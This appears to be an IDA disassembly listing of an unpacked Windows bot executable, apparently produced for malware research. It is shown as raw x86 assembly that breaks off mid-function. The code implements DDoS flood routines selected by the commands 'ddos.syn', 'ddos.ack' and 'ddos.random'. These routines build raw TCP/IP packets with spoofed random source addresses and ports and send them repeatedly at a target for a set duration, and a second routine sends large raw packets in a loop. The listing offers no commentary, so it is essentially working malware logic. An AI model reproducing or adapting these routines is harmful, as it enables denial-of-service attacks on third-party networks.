;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	714E6D95E94CE79A719357BC88E9EB0E

; File Name   :	u:\work\714e6d95e94ce79a719357bc88e9eb0e_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 0007B000 ( 503808.)
; Section size in file		: 0007B000 ( 503808.)
; Offset to raw	data for section: 00001000
; Flags	D0000040: Data Shareable Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write
_nsp0		segment	para public 'DATA' use32
		assume cs:_nsp0
		;org 401000h
		assume es:nothing, ss:nothing, ds:_nsp0, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; CODE XREF: start+272j
					; DATA XREF: sub_40CE55+38E0o ...

var_494		= byte ptr -494h
var_294		= dword	ptr -294h
var_290		= dword	ptr -290h
var_28C		= byte ptr -28Ch
var_20C		= byte ptr -20Ch
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_8C		= byte ptr -8Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 494h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0A5h
		mov	esi, eax
		lea	edi, [ebp+var_294]
		rep movsd
		mov	dword ptr [eax+290h], 1
		call	dword_42104C
		push	eax
		call	sub_415539
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_20C]
		push	eax
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_4013E9
		push	eax
		lea	eax, [ebp+var_494]
		push	offset unk_423050
		push	eax
		call	sub_4154E7
		xor	esi, esi
		add	esp, 20h
		cmp	[ebp+var_8], esi
		jnz	short loc_401090
		push	esi
		lea	eax, [ebp+var_494]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	[ebp+var_294]
		call	sub_412D4C
		add	esp, 14h

loc_401090:				; CODE XREF: sub_401000+6Ej
		lea	eax, [ebp+var_494]
		push	eax
		call	sub_40B16D
		push	[ebp+var_290]
		call	sub_4152AF
		pop	ecx
		pop	ecx
		push	esi
		call	dword_421048
		pop	edi
		pop	esi
sub_401000	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4010B2	proc near		; CODE XREF: sub_4013E9+40p

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= word ptr -58h
var_56		= word ptr -56h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_43A330
		test	eax, eax
		jz	short loc_4010F2
		xor	eax, eax
		jmp	loc_4013E5
; ---------------------------------------------------------------------------

loc_4010F2:				; CODE XREF: sub_4010B2+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_43A45C
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_20], eax
		jz	loc_4013DD
		push	esi
		lea	ecx, [ebp+var_40]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_40], edi
		call	dword_43A398
		cmp	eax, 0FFFFFFFFh
		jz	loc_4013D3
		push	[ebp+arg_C]
		mov	[ebp+var_58], 2
		call	dword_43A3B8
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_56], ax
		mov	[ebp+var_54], esi
		mov	[ebp+var_34], 45h
		call	dword_43A3B8
		push	[ebp+arg_C]
		mov	[ebp+var_32], ax
		mov	[ebp+var_30], di
		mov	[ebp+var_2E], bx
		mov	[ebp+var_2C], 80h
		mov	[ebp+var_2B], 6
		mov	[ebp+var_2A], bx
		mov	[ebp+var_24], esi
		call	dword_43A3B8
		mov	[ebp+var_12], ax
		call	sub_415543
		movzx	eax, ax
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_43A3B8
		push	12345678h
		mov	[ebp+var_14], ax
		call	dword_43A3B4
		push	offset aDdos_syn ; "ddos.syn"
		mov	[ebp+var_10], eax
		push	[ebp+arg_8]
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4011C2
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 2
		jmp	short loc_401216
; ---------------------------------------------------------------------------

loc_4011C2:				; CODE XREF: sub_4010B2+105j
		push	offset aDdos_ack ; "ddos.ack"
		push	[ebp+arg_8]
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4011DE
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 10h
		jmp	short loc_401216
; ---------------------------------------------------------------------------

loc_4011DE:				; CODE XREF: sub_4010B2+121j
		push	offset aDdos_random ; "ddos.random"
		push	[ebp+arg_8]
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401216
		call	sub_415543
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_C], edx
		call	sub_415543
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_7], dl

loc_401216:				; CODE XREF: sub_4010B2+10Ej
					; sub_4010B2+12Aj ...
		push	4000h
		mov	[ebp+var_8], 50h
		call	dword_43A3B8
		mov	[ebp+var_6], ax
		lea	eax, [ebp+var_48]
		push	eax
		mov	[ebp+var_2], bx
		mov	[ebp+arg_8], ebx
		call	dword_421054
		lea	eax, [ebp+var_1C]
		push	eax
		call	dword_421050
		push	[ebp+var_44]
		mov	eax, [ebp+arg_10]
		cdq
		push	[ebp+var_48]
		push	edx
		push	eax
		call	sub_4159A0
		add	eax, [ebp+var_1C]
		push	14h
		pop	esi
		adc	edx, [ebp+var_18]
		mov	[ebp+var_3C], eax
		mov	[ebp+var_38], edx

loc_401264:				; CODE XREF: sub_4010B2+2E2j
					; sub_4010B2+2F0j
		mov	[ebp+var_4], bx
		call	sub_415543
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_43A3B8
		mov	[ebp+var_14], ax
		call	sub_415543
		mov	edi, eax
		shl	edi, 10h
		call	sub_415543
		or	edi, eax
		push	edi
		call	dword_43A3B8
		movzx	eax, ax
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_43A3B4
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_24]
		push	esi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_43A3B8
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_28]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_4155D0
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_4155D0
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40A1CA
		mov	[ebp+var_4], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_4155D0
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_4155D0
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_415570
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40A1CA
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_4155D0
		add	esp, 14h
		lea	eax, [ebp+var_58]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_20]
		call	dword_43A41C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4013A7
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	dword_421050
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_38]
		jg	short loc_4013D0
		jl	loc_401264
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_3C]
		jnb	short loc_4013D0
		jmp	loc_401264
; ---------------------------------------------------------------------------

loc_4013A7:				; CODE XREF: sub_4010B2+2CBj
		call	dword_43A34C
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset unk_42308C
		push	eax
		call	sub_4154E7
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_40B16D
		add	esp, 10h
		jmp	short loc_4013D3
; ---------------------------------------------------------------------------

loc_4013D0:				; CODE XREF: sub_4010B2+2E0j
					; sub_4010B2+2EEj
		mov	ebx, [ebp+arg_8]

loc_4013D3:				; CODE XREF: sub_4010B2+78j
					; sub_4010B2+31Cj
		push	[ebp+var_20]
		call	dword_43A450
		pop	esi

loc_4013DD:				; CODE XREF: sub_4010B2+5Bj
		call	dword_43A318
		mov	eax, ebx

loc_4013E5:				; CODE XREF: sub_4010B2+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_4010B2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4013E9	proc near		; CODE XREF: sub_401000+4Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_40A05B
		push	[esp+10h+arg_4]
		mov	esi, eax
		call	sub_415A5F
		push	[esp+14h+arg_C]
		mov	ebx, eax
		call	sub_415A5F
		mov	edi, eax
		call	sub_415543
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		push	[esp+20h+arg_8]
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_4010B2
		add	esp, 20h
		test	eax, eax
		jnz	short loc_401438
		push	1
		pop	eax

loc_401438:				; CODE XREF: sub_4013E9+4Aj
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4013E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401447	proc near		; DATA XREF: sub_40CE55+3AC8o

var_3BC		= byte ptr -3BCh
var_1BC		= dword	ptr -1BCh
var_1B8		= byte ptr -1B8h
var_138		= byte ptr -138h
var_B8		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3BCh
		push	ebx
		push	esi
		mov	eax, [ebp+arg_0]
		push	edi
		push	68h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1BC]
		push	1
		pop	ebx
		push	0FFh
		push	3
		rep movsd
		push	2
		mov	[eax+19Ch], ebx
		call	dword_43A438
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_4014E2
		call	dword_43A34C
		push	eax
		lea	eax, [ebp+var_3BC]
		push	offset unk_42322C

loc_401495:				; DATA XREF: .nsp0:off_424D5Co
					; .nsp0:off_425D04o
		push	eax
		call	sub_4154E7
		xor	edi, edi
		add	esp, 0Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_4014C5
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_412D4C
		add	esp, 14h

loc_4014C5:				; CODE XREF: sub_401447+5Cj
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40B16D
		push	[ebp+var_38]
		call	sub_4152AF
		pop	ecx
		pop	ecx
		push	edi
		call	dword_421048

loc_4014E2:				; CODE XREF: sub_401447+3Aj
		lea	ecx, [ebp+var_C]
		push	4
		push	ecx
		xor	edi, edi
		push	2
		push	edi
		push	eax
		mov	[ebp+var_C], ebx
		call	dword_43A398
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401559
		call	dword_43A34C
		push	eax
		lea	eax, [ebp+var_3BC]
		push	offset unk_4231E0
		push	eax
		call	sub_4154E7
		add	esp, 0Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_40153C
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_412D4C
		add	esp, 14h

loc_40153C:				; CODE XREF: sub_401447+D3j
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40B16D
		push	[ebp+var_38]
		call	sub_4152AF
		pop	ecx
		pop	ecx
		push	edi
		call	dword_421048

loc_401559:				; CODE XREF: sub_401447+B3j
		lea	eax, [ebp+var_1B8]
		push	eax
		call	dword_43A3F8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4015C0
		lea	eax, [ebp+var_3BC]
		push	offset unk_4231AC
		push	eax
		call	sub_4154E7
		cmp	[ebp+var_24], edi
		pop	ecx
		pop	ecx
		jnz	short loc_4015A3
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_412D4C
		add	esp, 14h

loc_4015A3:				; CODE XREF: sub_401447+13Aj
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40B16D
		push	[ebp+var_38]
		call	sub_4152AF
		pop	ecx
		pop	ecx
		push	edi
		call	dword_421048

loc_4015C0:				; CODE XREF: sub_401447+122j
		push	10h
		lea	eax, [ebp+var_1C]
		push	edi
		push	eax
		call	sub_415570
		add	esp, 0Ch
		mov	[ebp+var_1C], 2
		push	edi
		call	dword_43A3B8
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_1B8]
		push	eax
		call	dword_43A3F8
		mov	esi, dword_42104C
		mov	[ebp+var_18], eax
		mov	[ebp+arg_0], edi
		call	esi
		mov	[ebp+var_8], eax

loc_4015FE:				; CODE XREF: sub_401447+2E8j
		call	esi
		sub	eax, [ebp+var_8]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+var_30]
		ja	loc_4017A9
		push	41Ch
		mov	byte_438BB8, 45h
		call	dword_43A3B8
		cmp	[ebp+var_2C], edi
		mov	word_438BBA, ax
		mov	word_438BBC, bx
		mov	word_438BBE, di
		mov	byte_438BC0, 80h
		mov	byte_438BC1, bl
		mov	word_438BC2, di
		jz	short loc_401684
		call	sub_415543
		mov	ebx, eax
		shl	ebx, 8
		call	sub_415543
		add	ebx, eax
		shl	ebx, 8
		call	sub_415543
		add	ebx, eax
		shl	ebx, 8
		call	sub_415543
		add	ebx, eax
		push	1
		mov	dword_438BC4, ebx
		pop	ebx
		jmp	short loc_40169C
; ---------------------------------------------------------------------------

loc_401684:				; CODE XREF: sub_401447+20Bj
		push	[ebp+var_1BC]
		call	sub_40A171
		pop	ecx
		push	eax
		call	dword_43A3F8
		mov	dword_438BC4, eax

loc_40169C:				; CODE XREF: sub_401447+23Bj
		mov	eax, [ebp+var_18]
		mov	dword_438BC8, eax
		call	sub_415543
		cdq
		mov	ecx, 100h
		idiv	ecx
		mov	byte_438BCC, dl
		call	sub_415543
		cdq
		mov	ecx, 100h
		idiv	ecx
		mov	byte_438BCD, dl
		call	sub_415543
		cdq
		mov	ecx, 0F0h
		push	400h
		idiv	ecx
		mov	word_438BCE, di
		mov	word_438BD2, bx
		inc	edx
		mov	word_438BD0, dx
		call	sub_415543
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		push	edx
		push	offset dword_438BD4
		call	sub_415570
		add	esp, 0Ch
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	edi
		push	41Ch
		push	offset byte_438BB8
		push	[ebp+var_4]
		call	dword_43A41C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401734
		inc	[ebp+arg_0]
		jmp	loc_4015FE
; ---------------------------------------------------------------------------

loc_401734:				; CODE XREF: sub_401447+2E3j
		push	[ebp+var_4]
		call	dword_43A450
		call	dword_43A34C
		push	eax
		lea	eax, [ebp+var_1B8]
		push	[ebp+arg_0]
		push	eax
		push	offset unk_423148
		lea	eax, [ebp+var_3BC]
		push	200h
		push	eax
		call	sub_415A6A
		add	esp, 18h
		cmp	[ebp+var_24], edi
		jnz	short loc_40178C
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_412D4C
		add	esp, 14h

loc_40178C:				; CODE XREF: sub_401447+323j
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40B16D
		push	[ebp+var_38]
		call	sub_4152AF
		pop	ecx
		pop	ecx
		push	edi
		call	dword_421048

loc_4017A9:				; CODE XREF: sub_401447+1C8j
		push	[ebp+var_4]
		call	dword_43A450
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		imul	eax, 3Ch
		mov	ecx, eax
		shr	eax, 0Ah
		div	[ebp+var_30]
		shr	ecx, 14h
		push	ecx
		push	eax
		lea	eax, [ebp+var_1B8]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_138]
		push	eax
		lea	eax, [ebp+var_3BC]
		push	offset unk_4230E4
		push	eax
		call	sub_4154E7
		add	esp, 1Ch
		cmp	[ebp+var_24], edi
		jnz	short loc_401811
		push	edi
		lea	eax, [ebp+var_3BC]
		push	[ebp+var_28]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_412D4C
		add	esp, 14h

loc_401811:				; CODE XREF: sub_401447+3A8j
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_40B16D
		push	[ebp+var_38]
		call	sub_4152AF
		pop	ecx
		pop	ecx
		push	edi
		call	dword_421048
sub_401447	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40182E	proc near		; DATA XREF: sub_40CE55+37D1o

var_414		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 85h
		mov	esi, eax
		lea	edi, [ebp+var_214]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_401B7C
		push	eax
		lea	eax, [ebp+var_414]
		push	offset dword_423274
		push	eax
		call	sub_4154E7
		xor	esi, esi
		add	esp, 18h
		cmp	[ebp+var_8], esi
		jnz	short loc_4018AB
		push	esi
		lea	eax, [ebp+var_414]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_214]
		call	sub_412D4C
		add	esp, 14h

loc_4018AB:				; CODE XREF: sub_40182E+5Bj
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_40B16D
		push	[ebp+var_10]
		call	sub_4152AF
		pop	ecx
		pop	ecx
		push	esi
		call	dword_421048
		pop	edi
		pop	esi
sub_40182E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4018CA	proc near		; CODE XREF: sub_401B7C+3Cp

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= dword	ptr -58h
var_50		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= dword	ptr -4Ch
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= word ptr -26h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= byte ptr -20h
var_1E		= word ptr -1Eh
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_43A330
		test	eax, eax
		jz	short loc_40190A
		xor	eax, eax
		jmp	loc_401B78
; ---------------------------------------------------------------------------

loc_40190A:				; CODE XREF: sub_4018CA+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_43A45C
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jz	loc_401B70
		push	esi
		lea	ecx, [ebp+var_38]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_38], edi
		call	dword_43A398
		cmp	eax, 0FFFFFFFFh
		jz	loc_401B66
		push	10h
		lea	eax, [ebp+var_50]
		push	ebx
		push	eax
		call	sub_415570
		add	esp, 0Ch
		mov	[ebp+var_50], 2
		push	[ebp+arg_8]
		call	dword_43A3B8
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_4E], ax
		mov	[ebp+var_4C], esi
		mov	[ebp+var_20], 45h
		call	dword_43A3B8
		push	[ebp+arg_8]
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], di
		mov	[ebp+var_1A], bx
		mov	[ebp+var_18], 80h
		mov	[ebp+var_17], 6
		mov	[ebp+var_16], bx
		mov	[ebp+var_10], esi
		call	dword_43A3B8
		push	4000h
		mov	[ebp+var_32], ax
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_28], 50h
		mov	[ebp+var_27], 2
		call	dword_43A3B8
		mov	[ebp+var_26], ax
		lea	eax, [ebp+var_40]
		push	eax
		mov	[ebp+var_22], bx
		mov	[ebp+arg_8], ebx
		call	dword_421054
		lea	eax, [ebp+var_8]
		push	eax
		call	dword_421050
		push	[ebp+var_3C]
		mov	eax, [ebp+arg_C]
		cdq
		push	[ebp+var_40]
		push	edx
		push	eax
		call	sub_4159A0
		add	eax, [ebp+var_8]
		mov	esi, edx
		adc	esi, [ebp+var_4]
		mov	[ebp+var_58], eax

loc_4019F5:				; CODE XREF: sub_4018CA+25Dj
					; sub_4018CA+26Bj
		mov	[ebp+var_24], bx
		call	sub_415543
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_43A3B8
		mov	[ebp+var_34], ax
		call	sub_415543
		mov	edi, eax
		shl	edi, 10h
		call	sub_415543
		or	edi, eax
		push	edi
		call	dword_43A3B8
		movzx	eax, ax
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_43A3B4
		push	14h
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_10]
		pop	edi
		push	edi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_43A3B8
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_4155D0
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_4155D0
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40A1CA
		mov	[ebp+var_24], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_4155D0
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_4155D0
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_415570
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40A1CA
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_4155D0
		add	esp, 14h
		lea	eax, [ebp+var_50]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_C]
		call	dword_43A41C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401B3A
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		call	dword_421050
		mov	eax, [ebp+var_4]
		cmp	eax, esi
		jg	short loc_401B63
		jl	loc_4019F5
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_58]
		jnb	short loc_401B63
		jmp	loc_4019F5
; ---------------------------------------------------------------------------

loc_401B3A:				; CODE XREF: sub_4018CA+247j
		call	dword_43A34C
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_4232B0
		push	eax
		call	sub_4154E7
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_40B16D
		add	esp, 10h
		jmp	short loc_401B66
; ---------------------------------------------------------------------------

loc_401B63:				; CODE XREF: sub_4018CA+25Bj
					; sub_4018CA+269j
		mov	ebx, [ebp+arg_8]

loc_401B66:				; CODE XREF: sub_4018CA+78j
					; sub_4018CA+297j
		push	[ebp+var_C]
		call	dword_43A450
		pop	esi

loc_401B70:				; CODE XREF: sub_4018CA+5Bj
		call	dword_43A318
		mov	eax, ebx

loc_401B78:				; CODE XREF: sub_4018CA+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_4018CA	endp


; =============== S U B	R O U T	I N E =======================================



sub_401B7C	proc near		; CODE XREF: sub_40182E+3Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_40A05B
		push	[esp+10h+arg_4]
		mov	esi, eax
		call	sub_415A5F
		push	[esp+14h+arg_8]
		mov	ebx, eax
		call	sub_415A5F
		mov	edi, eax
		call	sub_415543
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_4018CA
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_401BC7
		push	1
		pop	eax

